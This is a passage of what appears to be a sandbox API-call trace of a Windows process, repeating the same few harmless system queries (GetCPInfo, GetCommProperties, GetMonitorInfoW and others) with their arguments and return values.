lpSelectorEntry=0x18feb8) returned 1 [0117.285] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.285] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.285] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.285] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.285] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.285] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.285] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.285] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.285] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.285] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.285] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.285] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.285] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.285] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.285] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.285] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.285] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.285] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.285] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.286] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.286] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.286] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.286] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.286] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.286] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.286] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.286] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.286] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.286] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.286] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.286] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.286] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.286] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.286] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.286] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.286] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.286] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.286] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.286] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.286] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.287] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.287] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.287] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.287] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.287] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.288] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.288] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.288] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.288] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.288] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.289] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.289] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.289] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.289] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.289] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.289] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.289] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.289] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.289] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.289] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.289] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.289] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.289] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.289] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.289] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.289] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.289] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.289] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.289] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.289] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.289] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.289] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.289] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.289] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.290] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.290] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.290] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.290] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.290] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.290] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.290] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.290] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.290] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.290] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.290] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.337] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.338] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.338] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.338] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.338] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.338] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.338] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.338] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.338] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.338] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.338] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.338] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.339] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.339] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.339] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.339] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.339] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.339] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.339] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.339] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.339] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.339] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.339] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.339] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.339] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.339] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.339] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.339] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.339] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.339] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.339] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.340] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.340] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.340] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.340] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.340] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0117.340] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0117.340] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0117.340] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.340] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0117.340] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: 